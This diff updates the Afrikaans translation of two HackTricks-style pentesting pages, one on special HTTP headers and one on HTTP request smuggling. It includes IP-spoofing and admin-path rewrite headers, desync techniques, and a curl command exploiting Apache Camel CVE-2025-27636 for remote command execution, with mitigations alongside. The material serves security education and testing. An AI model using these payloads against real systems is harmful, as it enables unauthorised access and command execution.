Translated ['src/pentesting-web/http-request-smuggling/README.md', 'src/

src/network-services-pentesting/pentesting-web/special-http-headers.md

@@ -1,4 +1,4 @@
-# Spesiale HTTP koppe
+# Spesiale HTTP-opskrifte
 
 {{#include ../../banners/hacktricks-training.md}}
 
@@ -7,9 +7,9 @@
 - [https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers](https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers)
 - [https://github.com/rfc-st/humble](https://github.com/rfc-st/humble)
 
-## Koppe om Ligging te Verander
+## Opskrifte om ligging te verander
 
-Herschryf **IP bron**:
+Herskryf **IP-bron**:
 
 - `X-Originating-IP: 127.0.0.1`
 - `X-Forwarded-For: 127.0.0.1`
@@ -26,111 +26,132 @@ Herschryf **IP bron**:
 - `True-Client-IP: 127.0.0.1`
 - `Cluster-Client-IP: 127.0.0.1`
 - `Via: 1.0 fred, 1.1 127.0.0.1`
-- `Connection: close, X-Forwarded-For` (Kontroleer hop-by-hop koppe)
+- `Connection: close, X-Forwarded-For` (Kontroleer hop-by-hop-opskrifte)
 
-Herschryf **ligging**:
+Herskryf **ligging**:
 
 - `X-Original-URL: /admin/console`
 - `X-Rewrite-URL: /admin/console`
 
-## Hop-by-Hop koppe
+## Hop-by-Hop-opskrifte
 
-'n Hop-by-hop kop is 'n kop wat ontwerp is om verwerk en verbruik te word deur die proxy wat tans die versoek hanteer, in teenstelling met 'n eind-tot-eind kop.
+'n Hop-by-hop-opskrif is 'n opskrif wat ontwerp is om verwerk en verbruik te word deur die proxy wat tans die versoek hanteer, in teenstelling met 'n end-to-end-opskrif.
 
 - `Connection: close, X-Forwarded-For`
 
+
 {{#ref}}
 ../../pentesting-web/abusing-hop-by-hop-headers.md
 {{#endref}}
 
-## HTTP Versoek Smuggling
+## HTTP Request Smuggling
 
 - `Content-Length: 30`
 - `Transfer-Encoding: chunked`
 
+
 {{#ref}}
 ../../pentesting-web/http-request-smuggling/
 {{#endref}}
 
-## Cache Koppe
+## Die Expect-opskrif
 
-**Bediener Cache Koppe**:
+Dit is moontlik vir die kliënt om die opskrif `Expect: 100-continue` te stuur, waarna die bediener met `HTTP/1.1 100 Continue` kan antwoord om die kliënt toe te laat om voort te gaan om die liggaam van die versoek te stuur. Sommige proxies hou egter nie regtig van hierdie opskrif nie.
+
+Interessante gevolge van `Expect: 100-continue`:
+- Om 'n HEAD-versoek met 'n liggaam te stuur het veroorsaak dat die bediener nie in ag geneem het dat HEAD-versoeke geen liggaam het nie, en die verbinding oopgehou het totdat dit verval het.
+- Ander bedieners het vreemde data teruggestuur: lukrake data wat vanaf die sok gelees is in die respons, geheime sleutels, of dit het selfs toegelaat om te verhoed dat die front-end opskrifwaardes verwyder.
+- Dit het ook 'n `0.CL` desync veroorsaak omdat die backend met 'n 400-respons in plaas van 'n 100-respons geantwoord het, maar die proxy front-end was gereed om die liggaam van die aanvanklike versoek te stuur; dit stuur dit en die backend neem dit as 'n nuwe versoek.
+- Om 'n variasie soos `Expect: y 100-continue` te stuur het ook die `0.CL` desync veroorsaak.
+- 'n Gelyksoortige fout waar die backend met 'n 404 geantwoord het, het 'n `CL.0` desync gegenereer omdat die kwaadwillige versoek 'n `Content-Length` aandui. Die backend stuur dus die kwaadwillige versoek plus die `Content-Length` bytes van die volgende versoek (van 'n slagoffer). Dit desinkroniseer die ry omdat die backend die 404-respons vir die kwaadwillige versoek stuur plus die respons van die slagoffer se versoek, maar die front-end dink dat slegs 1 versoek gestuur is; dus word die tweede respons aan 'n tweede slagoffer versoek gestuur en die respons van daardie een aan die volgende, ensovoorts...
+
+Vir meer inligting oor HTTP Request Smuggling, kyk:
+
+{{#ref}}
+../../pentesting-web/http-request-smuggling/
+{{#endref}}
+
+
+## Kas-opskrifte
+
+**Bediener-kas-opskrifte**:
+
+- **`X-Cache`** in die respons kan die waarde **`miss`** hê wanneer die versoek nie in die kas was nie en die waarde **`hit`** wanneer dit in die kas is
+- Gelyke gedrag in die opskrif **`Cf-Cache-Status`**
+- **`Cache-Control`** dui aan of 'n bron gekas word en vir hoe lank: `Cache-Control: public, max-age=1800`
+- **`Vary`** word dikwels in die respons gebruik om bykomende opskrifte aan te dui wat as deel van die kas-sleutel beskou word, selfs al is hulle gewoonlik nie gekey nie.
+- **`Age`** gee die tyd in sekondes aan wat die objek in die proxy-kas is.
+- **`Server-Timing: cdn-cache; desc=HIT`** dui ook aan dat 'n bron gekas is
 
-- **`X-Cache`** in die antwoord mag die waarde **`miss`** hê wanneer die versoek nie in die cache was nie en die waarde **`hit`** wanneer dit in die cache is
-- Soortgelyke gedrag in die kop **`Cf-Cache-Status`**
-- **`Cache-Control`** dui aan of 'n hulpbron in die cache gestoor word en wanneer die volgende keer die hulpbron weer in die cache gestoor sal word: `Cache-Control: public, max-age=1800`
-- **`Vary`** word dikwels in die antwoord gebruik om **addisionele koppe** aan te dui wat as **deel van die cache sleutel** behandel word, selfs al is hulle normaalweg nie gesleutel nie.
-- **`Age`** definieer die tyd in sekondes wat die objek in die proxy cache was.
-- **`Server-Timing: cdn-cache; desc=HIT`** dui ook aan dat 'n hulpbron in die cache was
 
 {{#ref}}
 ../../pentesting-web/cache-deception/
 {{#endref}}
 
-**Plaaslike Cache koppe**:
+**Plaaslike kas-opskrifte**:
 
-- `Clear-Site-Data`: Kop om aan te dui watter cache verwyder moet word: `Clear-Site-Data: "cache", "cookies"`
+- `Clear-Site-Data`: Opskrif om aan te dui watter kas verwyder moet word: `Clear-Site-Data: "cache", "cookies"`
-- `Expires`: Bevat datum/tyd wanneer die antwoord moet verval: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
+- `Expires`: Bevat die datum/tyd wanneer die respons behoort te verval: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
 - `Pragma: no-cache` dieselfde as `Cache-Control: no-cache`
-- `Warning`: Die **`Warning`** algemene HTTP kop bevat inligting oor moontlike probleme met die status van die boodskap. Meer as een `Warning` kop mag in 'n antwoord verskyn. `Warning: 110 anderson/1.3.37 "Response is stale"`
+- `Warning`: Die **`Warning`** algemene HTTP-opskrif bevat inligting oor moontlike probleme met die status van die boodskap. Meer as een `Warning`-opskrif kan in 'n respons verskyn. `Warning: 110 anderson/1.3.37 "Response is stale"`
 
-## Voorwaardes
+## Voorwaardelike versoeke
 
-- Versoeke wat hierdie koppe gebruik: **`If-Modified-Since`** en **`If-Unmodified-Since`** sal met data geantwoord word slegs as die antwoord kop **`Last-Modified`** 'n ander tyd bevat.
+- Versoeke wat hierdie opskrifte gebruik: **`If-Modified-Since`** en **`If-Unmodified-Since`** word slegs met data beantwoord as die respons-opskrif **`Last-Modified`** 'n ander tyd bevat.
-- Voorwaardelike versoeke wat **`If-Match`** en **`If-None-Match`** gebruik, gebruik 'n Etag waarde sodat die webbediener die inhoud van die antwoord sal stuur as die data (Etag) verander het. Die `Etag` word geneem uit die HTTP antwoord.
+- Voorwaardelike versoeke wat **`If-Match`** en **`If-None-Match`** gebruik maak 'n ETag-waarde sodat die webbediener die inhoud van die respons sal stuur as die data (ETag) verander het. Die `Etag` word uit die HTTP-respons gehaal.
-- Die **Etag** waarde word gewoonlik **bereken** op grond van die **inhoud** van die antwoord. Byvoorbeeld, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` dui aan dat die `Etag` die **Sha1** van **37 bytes** is.
+- Die **Etag**-waarde word gewoonlik bereken op grond van die **inhoud** van die respons. Byvoorbeeld, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` dui aan dat die `Etag` die **Sha1** van **37 bytes** is.
 
-## Bereik versoeke
+## Range-versoeke
 
-- **`Accept-Ranges`**: Dui aan of die bediener bereik versoeke ondersteun, en indien wel in watter eenheid die bereik uitgedruk kan word. `Accept-Ranges: <range-unit>`
+- **`Accept-Ranges`**: Dui aan of die bediener range-versoeke ondersteun, en in watter eenheid die reeks uitgedruk kan word. `Accept-Ranges: <range-unit>`
-- **`Range`**: Dui die deel van 'n dokument aan wat die bediener moet teruggee. Byvoorbeeld, `Range:80-100` sal die bytes 80 tot 100 van die oorspronklike antwoord met 'n statuskode van 206 Partial Content teruggee. Onthou ook om die `Accept-Encoding` kop uit die versoek te verwyder.
+- **`Range`**: Dui die deel van 'n dokument aan wat die bediener moet teruggee. Byvoorbeeld, `Range:80-100` sal die bytes 80 tot 100 van die oorspronklike respons teruggee met 'n statuskode van 206 Partial Content. Onthou ook om die `Accept-Encoding`-opskrif uit die versoek te verwyder.
-- Dit kan nuttig wees om 'n antwoord met arbitrêre weerspieëlde javascript kode te kry wat andersins ontsnap kon word. Maar om dit te misbruik, sal jy hierdie koppe in die versoek moet inspuit.
+- Dit kan nuttig wees om 'n respons met ewekansige gereflekteerde javascript-kode te kry wat andersins ontsnap sou word. Om dit te misbruik sal jy egter hierdie opskrifte in die versoek moet injekteer.
-- **`If-Range`**: Skep 'n voorwaardelike bereik versoek wat slegs vervul word as die gegewe etag of datum met die afstandlike hulpbron ooreenstem. Gebruik om te voorkom dat twee bereik van onverenigbare weergawe van die hulpbron afgelaai word.
+- **`If-Range`**: Skep 'n voorwaardelike range-versoek wat slegs uitgevoer word as die gegewe etag of datum met die afgeleë hulpbron ooreenstem. Word gebruik om te voorkom dat twee reekse van 'n onverenigbare weergawe van die hulpbron afgelaai word.
-- **`Content-Range`**: Dui aan waar in 'n volle liggaam boodskap 'n gedeeltelike boodskap behoort.
+- **`Content-Range`**: Dui aan waar 'n gedeeltelike boodskap in 'n volledige liggaam behoort te wees.
 
-## Boodskap liggaam inligting
+## Inligting oor boodskapliggaam
 
 - **`Content-Length`:** Die grootte van die hulpbron, in desimale getal van bytes.
-- **`Content-Type`**: Dui die media tipe van die hulpbron aan
+- **`Content-Type`**: Dui die media-tipe van die hulpbron aan
-- **`Content-Encoding`**: Gebruik om die kompressie algoritme aan te dui.
+- **`Content-Encoding`**: Word gebruik om die kompressie-algoritme te spesifiseer.
-- **`Content-Language`**: Beskryf die menslike taal/tale wat bedoel is vir die gehoor, sodat dit 'n gebruiker toelaat om te onderskei volgens die gebruiker se eie verkose taal.
+- **`Content-Language`**: Beskryf die menslike taal(-tale) waarna dit bedoel is, sodat 'n gebruiker kan onderskei volgens hul eie voorkeurtaal.
-- **`Content-Location`**: Dui 'n alternatiewe ligging aan vir die teruggegee data.
+- **`Content-Location`**: Dui 'n alternatiewe ligging vir die teruggegewe data aan.
 
-Vanuit 'n pentest oogpunt is hierdie inligting gewoonlik "nutteloos", maar as die hulpbron **beskerm** word deur 'n 401 of 403 en jy 'n **manier** kan vind om hierdie **inligting** te **kry**, kan dit **interessant** wees.\
+Vanuit 'n pentest-perspektief is hierdie inligting gewoonlik nutteloos, maar as die bron **beskerm** is deur 'n 401 of 403 en jy kan 'n manier vind om hierdie **info** te kry, kan dit interessant wees.\
-Byvoorbeeld, 'n kombinasie van **`Range`** en **`Etag`** in 'n HEAD versoek kan die inhoud van die bladsy via HEAD versoeke lek:
+Byvoorbeeld, 'n kombinasie van **`Range`** en **`Etag`** in 'n HEAD-versoek kan die inhoud van die bladsy via HEAD-versoeke leak:
 
-- 'n versoek met die kop `Range: bytes=20-20` en met 'n antwoord wat `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` bevat, lek dat die SHA1 van die byte 20 `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y` is
+- A request with the header `Range: bytes=20-20` and with a response containing `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` is leaking that the SHA1 of the byte 20 is `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
 
-## Bediener Inligting
+## Bediener-inligting
 
 - `Server: Apache/2.4.1 (Unix)`
 - `X-Powered-By: PHP/5.3.3`
 
-## Beheer
+## Kontroles
 
-- **`Allow`**: Hierdie kop word gebruik om die HTTP metodes te kommunikeer wat 'n hulpbron kan hanteer. Byvoorbeeld, dit mag gespesifiseer word as `Allow: GET, POST, HEAD`, wat aandui dat die hulpbron hierdie metodes ondersteun.
+- **`Allow`**: Hierdie opskrif word gebruik om die HTTP-metodes te kommunikeer wat 'n hulpbron kan hanteer. Byvoorbeeld, dit kan gespesifiseer wees as `Allow: GET, POST, HEAD`, wat aandui dat die hulpbron hierdie metodes ondersteun.
-- **`Expect`**: Gebruik deur die kliënt om verwagtinge oor te dra wat die bediener moet nakom vir die versoek om suksesvol verwerk te word. 'n Algemene gebruiksgeval behels die `Expect: 100-continue` kop, wat aandui dat die kliënt van plan is om 'n groot data payload te stuur. Die kliënt soek 'n `100 (Continue)` antwoord voordat hy met die oordrag voortgaan. Hierdie meganisme help om netwerkgebruik te optimaliseer deur op bedienerbevestiging te wag.
+- **`Expect`**: Word deur die kliënt gebruik om verwagtinge oor te dra wat die bediener moet vervul sodat die versoek suksesvol verwerk kan word. 'n Algemene gebruik is die `Expect: 100-continue`-opskrif, wat aandui dat die kliënt 'n groot datalading wil stuur en op 'n `100 (Continue)`-respons wag voordat dit voortgaan. Hierdie meganisme help om netwerkverbruik te optimaliseer deur op bedienerbevestiging te wag.
 
 ## Aflaaie
 
-- Die **`Content-Disposition`** kop in HTTP antwoorde dui aan of 'n lêer **inline** (binne die webblad) vertoon moet word of as 'n **aanhangsel** (afgelaai) behandel moet word. Byvoorbeeld:
+- Die **`Content-Disposition`** opskrif in HTTP-responses bepaal of 'n lêer inline (within the webpage) vertoon moet word of as 'n attachment (downloaded) behandel moet word. Byvoorbeeld:
 ```
 Content-Disposition: attachment; filename="filename.jpg"
 ```
-Dit beteken die lêer met die naam "filename.jpg" is bedoel om afgelaai en gestoor te word.
+Dit beteken dat die lêer met die naam "filename.jpg" bedoel is om afgelaai en gestoor te word.
 
-## Sekuriteitskoppe
+## Security Headers
 
-### Inhoud Sekuriteitsbeleid (CSP) <a href="#csp" id="csp"></a>
+### Content Security Policy (CSP) <a href="#csp" id="csp"></a>
 
 
 {{#ref}}
 ../../pentesting-web/content-security-policy-csp-bypass/
 {{#endref}}
 
-### **Vertroude Tipes**
+### **Trusted Types**
 
-Deur Vertroude Tipes deur CSP af te dwing, kan toepassings teen DOM XSS-aanvalle beskerm word. Vertroude Tipes verseker dat slegs spesifiek saamgestelde voorwerpe, wat voldoen aan gevestigde sekuriteitsbeleide, in gevaarlike web API-oproepe gebruik kan word, wat JavaScript-kode standaard beveilig.
+Deur Trusted Types via CSP af te dwing, kan toepassings teen DOM XSS-aanvalle beskerm word. Trusted Types verseker dat slegs spesifiek vervaardigde objekte, wat voldoen aan gevestigde sekuriteitsbeleid, in gevaarlike web API-aanroepe gebruik kan word, en sodoende JavaScript-kode standaard beveilig.
 ```javascript
 // Feature detection
 if (window.trustedTypes && trustedTypes.createPolicy) {
@@ -149,70 +170,70 @@ el.innerHTML = escaped // Results in safe assignment.
 ```
 ### **X-Content-Type-Options**
 
-Hierdie kop voorkom MIME tipe sniffing, 'n praktyk wat kan lei tot XSS kwesbaarhede. Dit verseker dat blaaiers die MIME tipes wat deur die bediener gespesifiseer is, respekteer.
+Hierdie header verhoed MIME-tipe-snuffeling, 'n praktyk wat tot XSS-kwesbaarhede kan lei. Dit verseker dat blaaiers die deur die bediener gespesifiseerde MIME-tipes respekteer.
 ```
 X-Content-Type-Options: nosniff
 ```
 ### **X-Frame-Options**
 
-Om clickjacking te bekamp, beperk hierdie kop wat dokumente in `<frame>`, `<iframe>`, `<embed>`, of `<object>` etikette kan ingebed word, en beveel aan dat alle dokumente hul inbedingsregte eksplisiet spesifiseer.
+Om clickjacking te bekamp, beperk hierdie header hoe dokumente in `<frame>`, `<iframe>`, `<embed>` of `<object>`-tags ingebed kan word, en beveel aan dat alle dokumente hul inbeddingstoestemmings uitdruklik moet spesifiseer.
 ```
 X-Frame-Options: DENY
 ```
-### **Cross-Origin Resource Policy (CORP) en Cross-Origin Resource Sharing (CORS)**
+### **Cross-Origin Resource Policy (CORP) and Cross-Origin Resource Sharing (CORS)**
 
-CORP is belangrik om te spesifiseer watter hulpbronne deur webwerwe gelaai kan word, wat kruis-web lekkasies verminder. CORS, aan die ander kant, stel 'n meer buigsame kruis-oorsprong hulpbron deelmekanisem in, wat die self-oorsprong beleid onder sekere omstandighede ontspan.
+CORP is noodsaaklik om te spesifiseer watter hulpbronne deur webwerwe gelaai kan word en help om cross-site leaks te beperk. CORS, aan die ander kant, maak 'n meer buigsame cross-origin resource sharing-meganisme moontlik en versoepel die same-origin policy onder sekere toestande.
 ```
 Cross-Origin-Resource-Policy: same-origin
 Access-Control-Allow-Origin: https://example.com
 Access-Control-Allow-Credentials: true
 ```
-### **Cross-Origin Embedder Policy (COEP) en Cross-Origin Opener Policy (COOP)**
+### **Cross-Origin Embedder-beleid (COEP) en Cross-Origin Opener-beleid (COOP)**
 
-COEP en COOP is noodsaaklik vir die inskakeling van kruis-oorsprong isolasie, wat die risiko van Spectre-agtige aanvalle aansienlik verminder. Hulle beheer die laai van kruis-oorsprong hulpbronne en die interaksie met kruis-oorsprong vensters, onderskeidelik.
+COEP en COOP is noodsaaklik om cross-origin isolasie moontlik te maak, wat die risiko van Spectre-agtige aanvalle aansienlik verminder. Hulle beheer onderskeidelik die laai van cross-origin hulpbronne en die interaksie met cross-origin vensters.
 ```
 Cross-Origin-Embedder-Policy: require-corp
 Cross-Origin-Opener-Policy: same-origin-allow-popups
 ```
 ### **HTTP Strict Transport Security (HSTS)**
 
-Laastens is HSTS 'n sekuriteitskenmerk wat blaaiers dwing om slegs oor veilige HTTPS-verbindinge met bedieners te kommunikeer, wat privaatheid en sekuriteit verbeter.
+Laastens, HSTS is 'n sekuriteitsfunksie wat blaaiers dwing om slegs oor veilige HTTPS-verbindinge met bedieners te kommunikeer, en sodoende privaatheid en sekuriteit te verbeter.
 ```
 Strict-Transport-Security: max-age=3153600
 ```
-## Header Naam Kas Bypass
+## Header Name Casing Bypass
 
-HTTP/1.1 definieer header veld-names as **kas-sensitief** (RFC 9110 §5.1). Nietemin, dit is baie algemeen om aangepaste middleware, sekuriteitsfilters, of besigheidslogika te vind wat die *letterlike* header naam ontvang sonder om die kas eers te normaliseer (bv. `header.equals("CamelExecCommandExecutable")`). As daardie kontroles **kas-sensitief** uitgevoer word, kan 'n aanvaller dit eenvoudig omseil deur dieselfde header met 'n ander kapitalisering te stuur.
+HTTP/1.1 definieer header-veldname as **case-insensitive** (RFC 9110 §5.1). Nietemin is dit baie algemeen om custom middleware, security filters, of business logic te vind wat die *letterlike* headernaam vergelyk wat ontvang is sonder om eers die kastering te normaliseer (bv. `header.equals("CamelExecCommandExecutable")`). As daardie kontroles **case-sensitively** uitgevoer word, kan 'n aanvaller dit eenvoudig omseil deur dieselfde header met 'n ander kapitalisering te stuur.
 
-Tipiese situasies waar hierdie fout voorkom:
+Tipiese situasies waar hierdie fout verskyn:
 
-* Aangepaste toelaat/ontken lyste wat probeer om “gevaarlike” interne headers te blokkeer voordat die versoek 'n sensitiewe komponent bereik.
+* Aangepaste allow/deny-lyste wat probeer om “gevaarlike” interne headers te blokkeer voordat die aanvraag 'n sensitiewe komponent bereik.
-* In-huis implementasies van omgekeerde-proxy pseudo-headers (bv. `X-Forwarded-For` sanitisering).
+* In-huis implementasies van reverse-proxy pseudo-headers (e.g. `X-Forwarded-For` sanitisation).
-* Raamwerke wat bestuur / foutopsporing eindpunte blootstel en staatmaak op header name vir outentisering of opdragkeuse.
+* Frameworks wat management / debug endpoints blootstel en op headername staatmaak vir autentisering of opdragkeuse.
 
-### Misbruik van die bypass
+### Abusing the bypass
 
-1. Identifiseer 'n header wat gefilter of gevalideer word aan die bediener-kant (byvoorbeeld, deur bronkode, dokumentasie, of foutboodskappe te lees).
+1. Identifiseer 'n header wat aan die bedienerkant gefilter of gevalideer word (byvoorbeeld deur bronkode, dokumentasie of foutboodskappe te lees).
-2. Stuur die **dieselfde header met 'n ander kas** (gemengde-kas of hoofletters). Omdat HTTP stakke gewoonlik headers slegs *nadat* gebruikerskode uitgevoer is kanoniseer, kan die kwesbare kontrole oorgeslaan word.
+2. Stuur die **dieselfde header met 'n ander kastering** (gemengde letters of hoofletters). Omdat HTTP-stakke gewoonlik headers eers kanoniseer *na* gebruikerskode gedraai het, kan die kwesbare kontrole oorgeslaan word.
-3. As die stroomaf komponent headers op 'n kas-sensitiewe manier hanteer (meeste doen), sal dit die aanvaller-beheerde waarde aanvaar.
+3. As die downstream-komponent headers op 'n case-insensitive wyse hanteer (meeste doen dit), sal dit die aanvaller-beheerde waarde aanvaar.
 
-### Voorbeeld: Apache Camel `exec` RCE (CVE-2025-27636)
+### Example: Apache Camel `exec` RCE (CVE-2025-27636)
 
-In kwesbare weergawes van Apache Camel probeer die *Command Center* roetes om onbetroubare versoeke te blokkeer deur die headers `CamelExecCommandExecutable` en `CamelExecCommandArgs` te verwyder. Die vergelyking is gedoen met `equals()` sodat slegs die presiese kleinletters name verwyder is.
+In kwesbare weergawes van Apache Camel probeer die *Command Center* routes onbetroubare versoeke blokkeer deur die headers `CamelExecCommandExecutable` en `CamelExecCommandArgs` te verwyder. Die vergelyking is gedoen met `equals()` so slegs die presiese lowercase name is verwyder.
 ```bash
 # Bypass the filter by using mixed-case header names and execute `ls /` on the host
 curl "http://<IP>/command-center" \
 -H "CAmelExecCommandExecutable: ls" \
 -H "CAmelExecCommandArgs: /"
 ```
-Die koppe bereik die `exec` komponent ongefilterd, wat lei tot afstandsopdraguitvoering met die voorregte van die Camel-proses.
+Die headers bereik die `exec` component ongefilter, wat lei tot remote command execution met die voorregte van die Camel-proses.
 
-### Opsporing & Versagting
+### Opsporing & Mitigering
 
-* Normaliseer alle kopnaam na 'n enkele geval (gewoonlik kleinletters) **voor** jy toelaat/ontken vergelykings uitvoer.
+* Normaliseer alle header names na 'n enkele case (gewoonlik lowercase) **voor** die uitvoering van allow/deny-vergelykings.
-* Verwerp verdagte duplikate: as beide `Header:` en `HeAdEr:` teenwoordig is, behandel dit as 'n anomalie.
+* Verwerp verdagte duplikate: as beide `Header:` en `HeAdEr:` teenwoordig is, beskou dit as 'n anomalie.
-* Gebruik 'n positiewe toelaatlys wat **na** kanonisering afgedwing word.
+* Gebruik 'n positiewe allow-list wat **na** canonicalisation afgedwing word.
-* Beskerm bestuurs-eindpunte met outentisering en netwerksegmentasie.
+* Beskerm management endpoints met authentication en netwerk-segmentering.
 
 
 ## Verwysings

src/pentesting-web/http-request-smuggling/README.md

@@ -5,8 +5,8 @@
 
 ## Wat is
 
-Hierdie kwesbaarheid gebeur wanneer 'n **desinchronisasie** tussen **front-end proxies** en die **back-end** server toelaat dat 'n **attacker** 'n HTTP **request** stuur wat deur die **front-end** proxies (load balance/reverse-proxy) as 'n **single request** geïnterpreteer word en deur die **back-end** server **as 2 request**.\
+Hierdie kwesbaarheid ontstaan wanneer 'n **desynchronisasie** tussen **front-end proxies** en die **back-end** server 'n **attacker** toelaat om 'n HTTP **request** te **send** wat deur die **front-end** proxies (load balance/reverse-proxy) as 'n **single request** geïnterpreteer word en deur die **back-end** server as 2 requests.\
-Dit stel 'n gebruiker in staat om **die volgende request wat by die back-end server ná sy eie inkom te wysig**.
+Dit laat 'n gebruiker toe om die volgende **request** wat ná sy eie by die **back-end** server aankom, te wysig.
 
 ### Teorie
 
@@ -16,39 +16,55 @@ Dit stel 'n gebruiker in staat om **die volgende request wat by die back-end ser
 
 **Content-Length**
 
-> The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.
+> Die Content-Length entity header dui die grootte van die entity-body, in bytes, wat aan die ontvanger gestuur word, aan.
 
 **Transfer-Encoding: chunked**
 
-> The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.\
+> Die Transfer-Encoding header spesifiseer die vorm van encoding wat gebruik word om die payload body veilig na die gebruiker oor te dra.\
-> Chunked means that large data is sent in a series of chunks
+> Chunked beteken dat groot data in 'n reeks chunks gestuur word.
 
-### Werklikheid
+### Realiteit
 
-Die **Front-End** (n load-balance / Reverse Proxy) verwerk die _**Content-Length**_ of die _**Transfer-Encoding**_ header en die **Back-end** server verwerk die ander een, wat 'n **desinchronisasie** tussen die 2 stelsels veroorsaak.\
+Die **Front-End** (n load-balance / Reverse Proxy) verwerk die _**Content-Length**_ of die _**Transfer-Encoding**_ header en die **Back-end** server verwerk die ander, wat 'n desynchronisasie tussen die twee stelsels veroorsaak.\
-Dit kan baie kritiek wees aangesien **'n attacker een request na die reverse proxy kan stuur** wat deur die **back-end** server **as 2 verskillende requests** geïnterpreteer word. Die gevaar van hierdie tegniek lê daarin dat die **back-end** server die **2de geïnjekteerde request** asof dit **van die volgende kliënt kom** sal interpreteer en die werklike request van daardie kliënt deel van die **geïnjekteerde request** sal wees.
+Dit kan baie kritiek wees aangesien 'n **attacker** in staat sal wees om een **request** na die reverse proxy te stuur wat deur die **back-end** server as twee verskillende requests geïnterpreteer sal word. Die gevaar van hierdie tegniek lê daarin dat die **back-end** server die ingespuite 2de **request** asof dit van die volgende kliënt af kom sal interpreteer, en die werklike **request** van daardie kliënt deel van die ingespuite **request** sal wees.
 
 ### Besonderhede
 
-Onthou dat in HTTP **'n nuwe reël karakter uit 2 bytes bestaan:**
+Onthou dat in HTTP **'n newline-karakter uit 2 bytes bestaan:**
 
-- **Content-Length**: Hierdie header gebruik 'n **desimale nommer** om die **aantal bytes** van die **body** van die request aan te dui. Die body word verwag om op die laaste karakter te eindig; **'n nuwe reël is nie nodig aan die einde van die request nie**.
+- **Content-Length**: Hierdie header gebruik 'n **desimale getal** om die **aantal** **bytes** van die **body** van die request aan te dui. Die body word verwag om in die laaste karakter te eindig; **'n nuwe reël is nie nodig aan die einde van die request nie**.
-- **Transfer-Encoding:** Hierdie header gebruik in die **body** 'n **heksadesimale nommer** om die **aantal bytes** van die **volgende chunk** aan te dui. Die **chunk** moet **eindig** met 'n **nuwe reël**, maar dié nuwe reël **word nie deur die lengte-aanwyser ingesluit nie**. Hierdie oordragmetode moet eindig met 'n **chunk van grootte 0 gevolg deur 2 new lines**: `0`
+- **Transfer-Encoding:** Hierdie header gebruik in die **body** 'n **heksadesimale getal** om die **aantal** **bytes** van die **volgende chunk** aan te dui. Die **chunk** moet **eindig** met 'n **newline**, maar hierdie newline **word nie deur die lengte-aanwyser meegerek** nie. Hierdie oordragmetode moet eindig met 'n **chunk van grootte 0 gevolg deur 2 newlines**: `0`
-- **Connection**: Gebaseer op my ervaring word dit aanbeveel om `Connection: keep-alive` te gebruik op die eerste request van die request Smuggling.
+- **Connection**: Gegrond op my ervaring is dit aanbeveel om **`Connection: keep-alive`** te gebruik op die eerste request van die request Smuggling.
+
+### Visible - Hidden
+
+Die hoofprobleem met HTTP/1.1 is dat al die requests oor dieselfde TCP-sok gestuur word, so as daar 'n verskil gevind word in hoe twee stelsels requests ontvang, is dit moontlik om een request te stuur wat deur die finale backend (of selfs intermediêre stelsels) as twee (of meer) verskillende requests beskou word.
+
+**[This blog post](https://portswigger.net/research/http1-must-die)** stel nuwe maniere voor om desync-aanvalle te ontdek wat nie deur WAFs gevlag sal word nie. Hiervoor verduidelik dit die Visible vs Hidden gedrag. Die doel is om te probeer om diskrepansies in die response te vind met tegnieke wat moontlik desyncs veroorsaak sonder om werklik iets te eksploit.
+
+Byvoorbeeld, as jy 'n request stuur met die normale Host-header en nog 'n " host" header, en die backend kla oor hierdie request (miskien omdat die waarde van " host" verkeerd is), beteken dit moontlik dat die front-end nie die " host" header gesien het nie terwyl die finale backend dit wel gebruik het — dit wys 'n desync tussen front-end en backend.
+
+Dit sou 'n **Hidden-Visible discrepancy** wees.
+
+As die front-end egter die " host" header in ag geneem het maar die backend nie, sou dit 'n **Visible-Hidden** situasie wees.
+
+Byvoorbeeld, dit het gehelp om desyncs te ontdek tussen AWS ALB as front-end en IIS as die backend. Toe "Host: foo/bar" gestuur is, het die ALB `400, Server; awselb/2.0` teruggestuur, maar toe "Host : foo/bar" gestuur is, het dit `400, Server: Microsoft-HTTPAPI/2.0` teruggestuur, wat aandui dat die backend die response stuur. Dit is 'n Hidden-Visible (H-V) situasie.
+
+Let wel dat hierdie situasie nie deur AWS reggestel is nie, maar dit kan voorkom word deur `routing.http.drop_invalid_header_fields.enabled` te stel en `routing.http.desync_mitigation_mode = strictest`.
 
 ## Basiese Voorbeelde
 
 > [!TIP]
-> Wanneer jy probeer om dit met Burp Suite te exploit **deaktiveer `Update Content-Length` en `Normalize HTTP/1 line endings`** in die repeater omdat sommige gadgets newlines, carriage returns en malformed content-lengths misbruik.
+> Wanneer jy probeer om dit met Burp Suite te eksploit, deaktiveer asseblief **`Update Content-Length` en `Normalize HTTP/1 line endings`** in die repeater omdat sommige gadgets newlines, carriage returns en gemalformeerde content-lengths misbruik.
 
-HTTP request smuggling-aanvalle word geskep deur ambigue requests te stuur wat die verskille in hoe front-end en back-end servers die `Content-Length` (CL) en `Transfer-Encoding` (TE) headers interpreteer, uitbuit. Hierdie aanvalle kan in verskillende vorme voorkom, hoofsaaklik as **CL.TE**, **TE.CL**, en **TE.TE**. Elke tipe verteenwoordig 'n unieke kombinasie van hoe die front-end en back-end servers hierdie headers prioriseer. Die kwesbaarhede ontstaan omdat die servers dieselfde request op verskillende maniere verwerk, wat tot onverwagte en moontlik kwaadwillige uitkomste kan lei.
